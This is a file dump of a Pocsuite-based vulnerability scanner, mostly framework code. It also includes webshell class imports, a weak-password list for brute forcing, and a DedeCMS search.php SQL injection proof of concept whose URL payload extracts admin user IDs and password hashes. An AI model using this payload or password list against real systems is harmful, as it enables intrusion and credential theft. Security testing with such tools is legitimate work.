-------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/api/packet.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | from pocsuite.lib.utils.packet import IP, TCP, UDP, send, recv 9 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/api/poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | from pocsuite.lib.core.poc import Output, POCBase 10 | from pocsuite.lib.core.register import registerPoc as register 11 | from pocsuite.lib.utils.require import require, require_header, require_param 12 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/api/request.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | from pocsuite.lib.request.basic import req 10 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/api/utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | from pocsuite.lib.core.data import logger 10 | from pocsuite.lib.core.enums import CUSTOM_LOGGING 11 | 12 | from pocsuite.lib.utils.password import getLargeWeakPassword 13 | from pocsuite.lib.utils.password import getWeakPassword 14 | 15 | from pocsuite.lib.utils.funs import url2ip 16 | from pocsuite.lib.utils.funs import getExtPar 17 | from pocsuite.lib.utils.funs import strToDict 18 | from pocsuite.lib.utils.funs import randomStr 19 | 20 | from pocsuite.lib.utils.funs import writeText 21 | from pocsuite.lib.utils.funs import writeBinary 22 | from pocsuite.lib.utils.funs import loadText 23 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/api/webshell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | from pocsuite.lib.utils.webshell import AspVerify 10 | from pocsuite.lib.utils.webshell import AspShell 11 | from pocsuite.lib.utils.webshell import AspxVerify 12 | from pocsuite.lib.utils.webshell import AspxShell 13 | 14 | from pocsuite.lib.utils.webshell import PhpVerify 15 | from pocsuite.lib.utils.webshell import PhpShell 16 | 17 | from pocsuite.lib.utils.webshell import JspVerify 18 | from pocsuite.lib.utils.webshell import JspShell 19 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/data/password-top100.txt: -------------------------------------------------------------------------------- 1 | 123456789 2 | a123456 3 | 123456 4 | a123456789 5 | 1234567890 6 | woaini1314 7 | qq123456 8 | abc123456 9 | 123456a 10 | 123456789a 11 | 147258369 12 | zxcvbnm 13 | 987654321 14 | 12345678910 15 | abc123 16 | qq123456789 17 | 123456789. 18 | 7708801314520 19 | woaini 20 | 5201314520 21 | q123456 22 | 123456abc 23 | 1233211234567 24 | 123123123 25 | 123456. 26 | 0123456789 27 | asd123456 28 | aa123456 29 | 135792468 30 | q123456789 31 | abcd123456 32 | 12345678900 33 | woaini520 34 | woaini123 35 | zxcvbnm123 36 | 1111111111111111 37 | w123456 38 | aini1314 39 | abc123456789 40 | 111111 41 | woaini521 42 | qwertyuiop 43 | 1314520520 44 | 1234567891 45 | qwe123456 46 | asd123 47 | 000000 48 | 1472583690 49 | 1357924680 50 | 789456123 51 | 123456789abc 52 | z123456 53 | 1234567899 54 | aaa123456 55 | abcd1234 56 | www123456 57 | 123456789q 58 | 123abc 59 | qwe123 60 | w123456789 61 | 7894561230 62 | 123456qq 63 | zxc123456 64 | 123456789qq 65 | 1111111111 66 | 111111111 67 | 0000000000000000 68 | 1234567891234567 69 | qazwsxedc 70 | qwerty 71 | 123456.. 72 | zxc123 73 | asdfghjkl 74 | 0000000000 75 | 1234554321 76 | 123456q 77 | 123456aa 78 | 9876543210 79 | 110120119 80 | qaz123456 81 | qq5201314 82 | 123698745 83 | 5201314 84 | 000000000 85 | as123456 86 | 123123 87 | 5841314520 88 | z123456789 89 | 52013145201314 90 | a123123 91 | caonima 92 | a5201314 93 | wang123456 94 | abcd123 95 | 123456789.. 96 | woaini1314520 97 | 123456asd 98 | aa123456789 99 | 741852963 100 | a12345678 -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/lib/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | pass 10 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/lib/controller/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | pass 10 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/lib/core/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | pass 10 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/lib/core/convert.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | import sys 10 | from pocsuite.lib.core.settings import IS_WIN, UNICODE_ENCODING 11 | 12 | 13 | def singleTimeWarnMessage(message): # Cross-linked function 14 | sys.stdout.write(message) 15 | sys.stdout.write("\n") 16 | sys.stdout.flush() 17 | 18 | 19 | def stdoutencode(data): 20 | retVal = None 21 | 22 | try: 23 | data = data or "" 24 | 25 | # Reference: http://bugs.python.org/issue1602 26 | if IS_WIN: 27 | output = data.encode(sys.stdout.encoding, "replace") 28 | 29 | if '?' in output and '?' not in data: 30 | warnMsg = "cannot properly display Unicode characters " 31 | warnMsg += "inside Windows OS command prompt " 32 | warnMsg += "(http://bugs.python.org/issue1602). All " 33 | warnMsg += "unhandled occurances will result in " 34 | warnMsg += "replacement with '?' character. Please, find " 35 | warnMsg += "proper character representation inside " 36 | warnMsg += "corresponding output files. " 37 | singleTimeWarnMessage(warnMsg) 38 | 39 | retVal = output 40 | else: 41 | retVal = data.encode(sys.stdout.encoding) 42 | except: 43 | retVal = data.encode(UNICODE_ENCODING) if isinstance(data, unicode) else data 44 | 45 | return retVal 46 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/lib/core/data.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | from pocsuite.lib.core.datatype import AttribDict 10 | from pocsuite.lib.core.log import LOGGER 11 | from pocsuite.lib.core.defaults import defaults 12 | 13 | # logger 14 | logger = LOGGER 15 | 16 | # object to share within function and classes command 17 | # line options and settings 18 | conf = AttribDict() 19 | 20 | # Dictionary storing 21 | # (1)targets, (2)registeredPocs, (3) bruteMode 22 | # (4)results, (5)pocFiles 23 | # (6)multiThreadMode \ threadContinue \ threadException 24 | kb = AttribDict() 25 | 26 | cmdLineOptions = AttribDict() 27 | 28 | registeredPocs = {} 29 | 30 | # pocsuite paths 31 | paths = AttribDict() 32 | 33 | defaults = AttribDict(defaults) 34 | 35 | pocJson = AttribDict() 36 | 37 | resultJson = AttribDict() 38 | 39 | savedReq = AttribDict() 40 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/lib/core/defaults.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | from pocsuite.lib.core.datatype import AttribDict 10 | 11 | defaults = { 12 | "threads": 1, 13 | "timeout": 10 14 | } 15 | 16 | HTTP_DEFAULT_HEADER = { 17 | "Accept": "*/*", 18 | "Accept-Charset": "GBK,utf-8;q=0.7,*;q=0.3", 19 | "Accept-Language": "zh-CN,zh;q=0.8", 20 | "Cache-Control": "max-age=0", 21 | "Connection": "keep-alive", 22 | "Referer": "http://www.baidu.com", 23 | "User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0" 24 | } 25 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/lib/core/enums.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | 10 | class CUSTOM_LOGGING: 11 | SYSINFO = 9 12 | SUCCESS = 8 13 | ERROR = 7 14 | WARNING = 6 15 | 16 | 17 | class OUTPUT_STATUS: 18 | SUCCESS = 1 19 | FAILED = 0 20 | 21 | 22 | class HTTP_HEADER: 23 | ACCEPT = "Accept" 24 | ACCEPT_CHARSET = "Accept-Charset" 25 | ACCEPT_ENCODING = "Accept-Encoding" 26 | ACCEPT_LANGUAGE = "Accept-Language" 27 | AUTHORIZATION = "Authorization" 28 | CACHE_CONTROL = "Cache-Control" 29 | CONNECTION = "Connection" 30 | CONTENT_ENCODING = "Content-Encoding" 31 | CONTENT_LENGTH = "Content-Length" 32 | CONTENT_RANGE = "Content-Range" 33 | CONTENT_TYPE = "Content-Type" 34 | COOKIE = "Cookie" 35 | SET_COOKIE = "Set-Cookie" 36 | HOST = "Host" 37 | LOCATION = "Location" 38 | PRAGMA = "Pragma" 39 | PROXY_AUTHORIZATION = "Proxy-Authorization" 40 | PROXY_CONNECTION = "Proxy-Connection" 41 | RANGE = "Range" 42 | REFERER = "Referer" 43 | SERVER = "Server" 44 | USER_AGENT = "User-Agent" 45 | TRANSFER_ENCODING = "Transfer-Encoding" 46 | URI = "URI" 47 | VIA = "Via" 48 | 49 | 50 | class PROXY_TYPE: 51 | HTTP = "HTTP" 52 | HTTPS = "HTTPS" 53 | SOCKS4 = "SOCKS4" 54 | SOCKS5 = "SOCKS5" 55 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/lib/core/exception.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | 10 | class PocsuiteBaseException(Exception): 11 | pass 12 | 13 | 14 | class PocsuiteUserQuitException(PocsuiteBaseException): 15 | pass 16 | 17 | 18 | class PocsuiteDataException(PocsuiteBaseException): 19 | pass 20 | 21 | 22 | class PocsuiteGenericException(PocsuiteBaseException): 23 | pass 24 | 25 | 26 | class PocsuiteSystemException(PocsuiteBaseException): 27 | pass 28 | 29 | 30 | class PocsuiteFilePathException(PocsuiteBaseException): 31 | pass 32 | 33 | 34 | class PocsuiteConnectionException(PocsuiteBaseException): 35 | pass 36 | 37 | 38 | class PocsuiteThreadException(PocsuiteBaseException): 39 | pass 40 | 41 | 42 | class PocsuiteValueException(PocsuiteBaseException): 43 | pass 44 | 45 | 46 | class PocsuiteMissingPrivileges(PocsuiteBaseException): 47 | pass 48 | 49 | 50 | class PocsuiteSyntaxException(PocsuiteBaseException): 51 | pass 52 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/lib/core/log.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | import logging 10 | import sys 11 | 12 | from pocsuite.lib.core.enums import CUSTOM_LOGGING 13 | 14 | logging.addLevelName(CUSTOM_LOGGING.SYSINFO, "*") 15 | logging.addLevelName(CUSTOM_LOGGING.SUCCESS, "+") 16 | logging.addLevelName(CUSTOM_LOGGING.ERROR, "-") 17 | logging.addLevelName(CUSTOM_LOGGING.WARNING, "!") 18 | 19 | LOGGER = logging.getLogger("pocsuiteLog") 20 | 21 | LOGGER_HANDLER = None 22 | try: 23 | from pocsuite.thirdparty.ansistrm.ansistrm import ColorizingStreamHandler 24 | 25 | disableColor = False 26 | 27 | for argument in sys.argv: 28 | if "disable-col" in argument: 29 | disableColor = True 30 | break 31 | 32 | if disableColor: 33 | LOGGER_HANDLER = logging.StreamHandler(sys.stdout) 34 | else: 35 | LOGGER_HANDLER = ColorizingStreamHandler(sys.stdout) 36 | LOGGER_HANDLER.level_map[logging.getLevelName("*")] = (None, "cyan", False) 37 | LOGGER_HANDLER.level_map[logging.getLevelName("+")] = (None, "green", False) 38 | LOGGER_HANDLER.level_map[logging.getLevelName("-")] = (None, "red", False) 39 | LOGGER_HANDLER.level_map[logging.getLevelName("!")] = (None, "yellow", False) 40 | except ImportError, e: 41 | LOGGER_HANDLER = logging.StreamHandler(sys.stdout) 42 | 43 | FORMATTER = logging.Formatter("\r[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S") 44 | 45 | LOGGER_HANDLER.setFormatter(FORMATTER) 46 | LOGGER.addHandler(LOGGER_HANDLER) 47 | LOGGER.setLevel(CUSTOM_LOGGING.WARNING) 48 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/lib/core/register.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | import os 10 | import sys 11 | import json 12 | from pocsuite.lib.core.data import kb 13 | from pocsuite.lib.core.data import logger 14 | from pocsuite.lib.core.enums import CUSTOM_LOGGING 15 | from pocsuite.lib.core.common import filepathParser 16 | from pocsuite.lib.core.common import changeToPyImportType 17 | from pocsuite.lib.core.common import StringImporter 18 | 19 | 20 | def registerPoc(pocClass): 21 | module = pocClass.__module__.split('.')[-1] 22 | if module in kb.registeredPocs: 23 | return 24 | 25 | kb.registeredPocs[module] = pocClass() 26 | 27 | 28 | def registerJsonPoc(pocDict): 29 | pocname = pocDict.keys()[0] 30 | if pocname in kb.registeredPocs: 31 | return 32 | 33 | jsonPoc = json.load(pocDict[pocname]) 34 | kb.registeredPocs[pocname] = jsonPoc 35 | 36 | 37 | def registerPyPoc(pocDict): 38 | pocname = pocDict.keys()[0] 39 | _, moduleName = filepathParser(pocname) 40 | try: 41 | importer = StringImporter(moduleName, pocDict[pocname]) 42 | importer.load_module(moduleName) 43 | except ImportError, ex: 44 | errMsg = "%s register failed \"%s\"" % (moduleName, str(ex)) 45 | logger.log(CUSTOM_LOGGING.ERROR, errMsg) 46 | 47 | 48 | def addSysPath(*paths): 49 | for path in paths: 50 | if not path.startswith('/'): 51 | path = os.path.join(os.getcwd(), path) 52 | sys.path.append(path) 53 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/lib/core/revision.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | import os 10 | import re 11 | from subprocess import Popen as execute 12 | from subprocess import PIPE 13 | 14 | 15 | def getRevisionNumber(): 16 | """ 17 | Returns abbreviated commit hash number as retrieved with "git rev-parse --short HEAD" 18 | """ 19 | 20 | retVal = None 21 | filePath = None 22 | _ = os.path.dirname(__file__) 23 | 24 | while True: 25 | filePath = os.path.join(_, ".git", "HEAD") 26 | if os.path.exists(filePath): 27 | break 28 | else: 29 | filePath = None 30 | if _ == os.path.dirname(_): 31 | break 32 | else: 33 | _ = os.path.dirname(_) 34 | 35 | while True: 36 | if filePath and os.path.isfile(filePath): 37 | with open(filePath, "r") as f: 38 | content = f.read() 39 | filePath = None 40 | if content.startswith("ref: "): 41 | filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip() 42 | else: 43 | match = re.match(r"(?i)[0-9a-f]{32}", content) 44 | retVal = match.group(0) if match else None 45 | break 46 | else: 47 | break 48 | 49 | if not retVal: 50 | process = execute("git rev-parse --verify HEAD", shell=True, stdout=PIPE, stderr=PIPE) 51 | stdout, _ = process.communicate() 52 | match = re.search(r"(?i)[0-9a-f]{32}", stdout or "") 53 | retVal = match.group(0) if match else None 54 | 55 | return retVal[:7] if retVal else None 56 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/lib/parse/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | pass 10 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/lib/request/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | pass 10 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/lib/request/basic.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | from pocsuite.lib.request.requestspatch import requestsPatch 9 | 10 | import pocsuite.thirdparty.requests as req 11 | 12 | requestsPatch() 13 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/lib/utils/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | pass 10 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/lib/utils/parseopener.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | import urllib2 10 | from pocsuite.lib.core.data import logger 11 | from pocsuite.lib.core.enums import CUSTOM_LOGGING 12 | 13 | 14 | def openerHeaders(op): 15 | headers = {} 16 | try: 17 | assert isinstance(op, urllib2.OpenerDirector) 18 | _ = op.addheaders 19 | for pair in _: 20 | pair_copy = [part for part in pair] 21 | headers.update({pair[0]: pair[1]}) 22 | except: 23 | errMsg = 'unable to fetch headers from given opener' 24 | logger.log(CUSTOM_LOGGING.ERROR, errMsg) 25 | return headers 26 | 27 | if __name__ == '__main__': 28 | op = urllib2.build_opener() 29 | openerHeaders(op) 30 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/lib/utils/password.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | from pocsuite.lib.core.common import getFileItems 10 | from pocsuite.lib.core.data import paths 11 | 12 | 13 | def getWeakPassword(): 14 | return getFileItems(paths.WEAK_PASS) 15 | 16 | 17 | def getLargeWeakPassword(): 18 | return getFileItems(paths.LARGE_WEAK_PASS) 19 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/lib/utils/requirescheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | 10 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/lib/utils/sebug.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | from pocsuite.thirdparty.knowledge.webservice import Clinet 10 | 11 | 12 | class seebugBase(): 13 | pass 14 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/lib/utils/versioncheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | import sys 10 | 11 | PYVERSION = sys.version.split()[0] 12 | 13 | if PYVERSION >= "3" or PYVERSION < "2.6": 14 | exit("[-] incompatible Python version detected ('%s'). For successfully running pocsuite you'll have to use version 2.6 or 2.7 (visit 'http://www.python.org/download/')" % PYVERSION) 15 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/modules/tmp/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/vulscan/Pocsuite/pocsuite/modules/tmp/.keep -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/plugins/dede_search.php_sqli_poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #!coding: utf-8 3 | import re 4 | 5 | from pocsuite.net import req 6 | from pocsuite.poc import POCBase,Output 7 | from pocsuite.utils import register 8 | 9 | class Fuckdede(POCBase): 10 | vulID='1' 11 | version = '1' 12 | author = ['fengxuan'] 13 | vulDate = '2016-2-4' 14 | createDate = '2016-2-4' 15 | updateDate = '2016-2-4' 16 | references = ['http://www.evalshell.com', 'http://zone.wooyun.org/content/2414'] 17 | name = 'dedecms plus/search.php 注入漏洞利用EXP' 18 | appPowerLink = 'http://www.dedecms.cn/' 19 | appName = 'dedecms' 20 | appVersion = '5.7' 21 | vulType = 'SQL Injection' 22 | desc = ''' 23 | 开发人员在修补漏洞的时候只修复了少数的变量而遗漏了其他变量,使其他变量直接 24 | 带入了SQL语句中,可以通过\字符来转义掉一个单引号,逃逸单引号,产生SQL注入。 25 | 此注入为报错注入,可以通过UpdateXML函数进行注入。 26 | ''' 27 | samples = [''] 28 | 29 | def _verify(self): 30 | result = {} 31 | target = self.url + "plus/search.php?keyword=as&typeArr[111%3D@%60\%27%60)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+%60%23@__admin%60%23@%60\%27%60+]=a" 32 | response = req.get(target) 33 | content = response.content 34 | if 'DedeCMS Error Warning!' in content: 35 | result = {'VerifyInfo':{}} 36 | result['VerifyInfo']['URL'] = self.url 37 | return self.parse_result(result) 38 | 39 | def _attack(self): 40 | return self._verify() 41 | 42 | def parse_result(self, result): 43 | output = Output(self) 44 | 45 | if result: 46 | output.success(result) 47 | else: 48 | output.fail("Internet Nothing returned") 49 | return output 50 | 51 | register(Fuckdede) 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/pocsuite_attack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | import sys 10 | from pocsuite_cli import pcsInit 11 | from .lib.core.common import banner 12 | from .lib.core.common import dataToStdout 13 | from .lib.core.settings import PCS_OPTIONS 14 | 15 | 16 | def main(): 17 | try: 18 | pocFile, targetUrl = sys.argv[1: 3] 19 | except ValueError: 20 | excMsg = "usage: pcs-attack [pocfile] [url]\n" 21 | excMsg += "pocsuite: error: too few arguments" 22 | dataToStdout(excMsg) 23 | sys.exit(1) 24 | 25 | PCS_OPTIONS.update({'url': targetUrl, 'pocFile': pocFile, 'headers': None, 'extra_params': None}) 26 | pcsInit(PCS_OPTIONS) 27 | banner() 28 | 29 | if __name__ == "__main__": 30 | main() 31 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/pocsuite_console.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | import sys 10 | from pocsuite_cli import modulePath 11 | from .lib.core.consoles import baseConsole 12 | from .lib.core.data import kb 13 | from .lib.core.data import paths 14 | from .lib.core.common import setPaths 15 | from .lib.core.consoles import initializePoc 16 | from .lib.core.option import initializeKb 17 | 18 | 19 | def main(): 20 | folders, sys.argv = sys.argv[1:], sys.argv[:1] 21 | 22 | paths.POCSUITE_ROOT_PATH = modulePath() 23 | setPaths() 24 | kb.unloadedList = {} 25 | 26 | initializeKb() 27 | initializePoc(folders) 28 | 29 | pcs = baseConsole() 30 | pcs.cmdloop() 31 | 32 | if __name__ == "__main__": 33 | main() 34 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/pocsuite_verify.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | import sys 10 | from pocsuite_cli import pcsInit 11 | from .lib.core.settings import PCS_OPTIONS 12 | from .lib.core.common import banner 13 | from .lib.core.common import dataToStdout 14 | 15 | 16 | def main(): 17 | try: 18 | pocFile, targetUrl = sys.argv[1: 3] 19 | except ValueError: 20 | excMsg = "usage: pcs-verify [pocfile] [url]\n" 21 | excMsg += "pocsuite: error: too few arguments" 22 | dataToStdout(excMsg) 23 | sys.exit(1) 24 | 25 | PCS_OPTIONS.update({'url': targetUrl, 'pocFile': pocFile, 'headers': None, 'extra_params': None}) 26 | pcsInit(PCS_OPTIONS) 27 | banner() 28 | 29 | if __name__ == "__main__": 30 | main() 31 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/tests/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | pass 10 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/ansistrm/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/argparse/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/cmd2/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/vulscan/Pocsuite/pocsuite/thirdparty/cmd2/__init__.py -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/colorama/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/vulscan/Pocsuite/pocsuite/thirdparty/colorama/__init__.py -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/colorama/ansi.py: -------------------------------------------------------------------------------- 1 | ''' 2 | This module generates ANSI character codes to printing colors to terminals. 3 | See: http://en.wikipedia.org/wiki/ANSI_escape_code 4 | ''' 5 | 6 | CSI = '\033[' 7 | 8 | def code_to_chars(code): 9 | return CSI + str(code) + 'm' 10 | 11 | class AnsiCodes(object): 12 | def __init__(self, codes): 13 | for name in dir(codes): 14 | if not name.startswith('_'): 15 | value = getattr(codes, name) 16 | setattr(self, name, code_to_chars(value)) 17 | 18 | class 